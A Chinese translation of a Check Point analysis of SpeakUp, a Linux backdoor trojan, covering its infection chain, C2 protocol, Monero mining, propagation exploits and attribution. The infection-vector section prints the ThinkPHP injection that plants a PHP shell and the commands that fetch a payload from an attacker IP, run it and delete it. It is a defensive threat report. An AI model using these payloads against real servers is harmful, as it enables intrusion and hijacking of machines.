SpeakUp木马技术分析

ang010ela Web安全 2019年2月13日发布
Favorite收藏

导语:Check Point研究人员近期发现一个新的利用Linux服务器漏洞来植入新后门木马的攻击活动。这起攻击活动利用6个不同Linux发行版中已知漏洞的木马漏洞活动被命名为SpeakUp。

Check Point研究人员近期发现一个新的利用Linux服务器漏洞来植入新后门木马的攻击活动。

这起攻击活动利用6个不同Linux发行版中已知漏洞的木马漏洞活动被命名为SpeakUp。

攻击活动的目标为包括AWS主机在内的世界范围内的服务器。

Check Point研究人员发现这起利用Linux服务器漏洞来植入新后门的攻击活动可以绕过所有的安全产品。植入的后门被命名为SpeakUp,是以其中的一个C2服务器名字来命名的,该木马可以利用6个不同的Linux发布版中的已知漏洞。攻击的主要目标为东亚和拉美地区的Linux服务器,包括位于ASW上的主机。

SpeakUp可以利用远程代码执行漏洞在受感染的主机所在的内网中进行传播,并超过新的IP范围。除此之外,SpeakUp还可以用未检测到的木马感染Mac设备。

截止目前,还不能完全确定背后的攻击者。但研究人员根据该攻击活动与其他恶意软件的一些共同点将SpeakUp与Zettabit的开发者进行了关联。

图1: SpeakUp受害者分布

图2: SpeakUp的增长率(每天)

感染向量

最开始的感染向量是thinkphp的一个漏洞,使用命令注入技术来上传PHP脚本来服务和执行Perl后门。

漏洞利用一共分为3个步骤:

1、利用CVE-2018-20062来上传PHP shell

使用GET请求,将ThinkPHP (CVE-2018-20062)的远程代码执行漏洞发送到目标服务器:

s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<? php $action = $_GET[‘module’];system($action);? ^>>index.php

shell会通过query中的module参数来执行发送的命令。

2、后门

发送另一个HTTP请求到目标服务器:

/?module=wget hxxp://67[.]209.177.163/ibus -O /tmp/e3ac24a0bcddfacd010a6c10f4a814bc

上面的标准注入会推送ibus payload并存储到位置/tmp/e3ac24a0bcddfacd010a6c10f4a814bc

3、启动后门

使用下面的HTTP请求来执行:

/?module=perl /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc;sleep 2;rm -rf /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc

执行perl脚本,休眠2秒钟,并删除该文件来移除痕迹。 

后门

研究人员分析的样本来自于2019年1月14日攻击我国的一台机器,该样本最早于2019年1月9日被上传到VirusTotal。截止目前,引擎并没有检测到该文件是恶意的。

图3:  Virus Total对SpeakUp的检测

第二阶段的payload是用加盐的base64编码的。而且,C2通信也是用相同的方式编码的。

发现的数据含有多个C2域名、IP地址和其他唯一参数,以及第二阶段payload和其他模块。

下面分析木马在受害者机器上运行的恶意代码、不同的函数和模块等。

受害者注册

SpeakUp使用POST和GET请求来与C2通信,C2是被黑的speakupomaha[.]com.。

第一个post请求会发送受害者ID和其他介绍性的信息,比如安装的脚本的当前版本等。

对应的C2响应是needrgr,表示受感染的受害者之前未在服务器上注册,需要注册。

之后,木马会通过执行以下的Linux命令来POST机器的全部信息:

· Uname (-r, -v, -m, -n,-a, -s)

· Whoami

· Ifconfig –a

· Arp –a

· cat /proc/cpuinfo | grep -c “cpu family” 2>&1

· who –b

图4: 注册过程和介绍命令

SpeakUp主函数

注册过程完成后,SpeakUp会继续与C2通信。

下面是C2的命令类型:

· “newtask”- 在本地机器上执行任意代码,从远程服务器下载和执行文件,杀掉或卸载程序,发送未更新的指纹数据。

· “notask”- 休眠3秒,并请求其他命令。

· newerconfig”- 更新下载的挖矿机配置文件。

· SpeakUp的驻留是通过cron和内部mutex来保证的。

感染后流量

受害者成功注册后,C2会发送新的任务。大多数的C2服务器会操作受害者机器来下载和执行不同的文件。

有一个需要注意的点是使用User-Agent用户代理。SpeakUp定义了三个用户代理,受害者机器在与C2服务器进行通信时必须使用定义的这三个代理。其中两个代理是MacOS X User-Agent,第三个是哈希的字符串:

· Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/BADDAD

· Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405

· E9BC3BD76216AFA560BFB5ACAF5731A3

图5: SpeakUp的请求是用加盐的base64加密的,并且包含唯一的用户代理

此时,SpeakUp服务于XMRig挖矿机来监听受感染的服务器。根据XMRHunter的数据,钱包中大概有107个门罗币。

图6: SpeakUp接收额外的命令来执行

繁殖传播

SpeakUp用i(sic)装备了后门,i是一个允许后门来扫描和感染位于内网和外网的Linux服务器的python脚本。其主要功能有:

· 用预定义的用户名和密码来暴力破解尝试登陆Admin面板;

· 扫描受感染的机器所在的网络缓解,检查位于相同内部和外部子网的服务器上特定端口的可用性;

· 尝试利用目标服务器上的远程代码执行漏洞:

a) CVE-2012-0874: JBoss Enterprise Application Platform多安全绕过漏洞。

b) CVE-2010-1871: JBoss Seam Framework远程代码执行。

c) JBoss AS 3/4/5/6: 远程代码执行。

d) CVE-2017-10271: Oracle WebLogic wls-wsat Component Deserialization RCE。

e) CVE-2018-2894: Oracle Fusion Middleware的Oracle WebLogic服务器漏洞。

f) Hadoop YARN ResourceManager – 命令执行。

g) CVE-2016-3088: Apache ActiveMQ文件服务器文件上传远程代码执行漏洞。

以上任一漏洞的成功利用都会导致ibus脚本的应用。

攻击者身份 

Ibus client for Unix OS

在ibus脚本中,研究人员发现IBus client for GNU Emacs的尖端描述。IBus client是用于Linux和Unix操作系统的开源多语言输入框架。该框架支持除了拉丁字母外的所有语言,也就是说其主要用户是亚洲用户。描述和文件名是唯一的将SpeakUp和Ibus框架联系在一起的元素,内容上没有什么相似之处。

这也暗示SpeakUp和东亚地区之间的联系。

用户代理

SpeakUp和C2之间的HTTP通信使用的用户代理是攻击活动背后的攻击者身份的暗示。这些特殊的字符串主要有“Mobile/BADDAD“, “Mobile/7B405”,和“E9BC3BD76216AFA560BFB5ACAF5731A3”。

有趣的是该字符串最终变成了单词liteHTTP的md5哈希值。 liteHTTP 是基于C#的僵尸主机,主要攻击Windows客户端,其模块与SpeakUp木马有些相似:

· 下载和执行

· 启动(驻留)

· 收集系统信息,包括操作系统、版本、安装位置等

· 自更新

· 卸载

该项目是由用户zettabithf创建的,在Hack Forums上有一个相同的用户名。

图7: Zettabit在Hack Forums上的用户描述

Hack Forums上的用户简介暗示SpeakUp后门的作者是说俄语的,因为许多注释都使用的是俄语。他好像也是僵尸网络的开发者,因为在推介LiteHTTP僵尸主机。

另一个需要注意的是在许多post中都使用了Knock,而且在SpeakUp的代码中也多次出现了Knock。

图8、图9: 出现Knock的截屏

结论

SpeakUp的混淆的payload和自我繁殖技术无疑是一个正在扩展的威胁。很难想象构建如此负载的payload只是为了挖矿。攻击活动背后的攻击者未来可能会用这些payload进行更多的攻击活动。因为木马可以扫描受感染的服务器的内网和外网,并传播恶意软件。该攻击活动才出现不久,未来会不断地发展并带来更大的危害。

攻击者Zettabithf的一句话值得我们学习和深思:

本文翻译自:https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/如若转载,请注明原文地址: https://www.4hou.com/web/16109.html
点赞 1
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论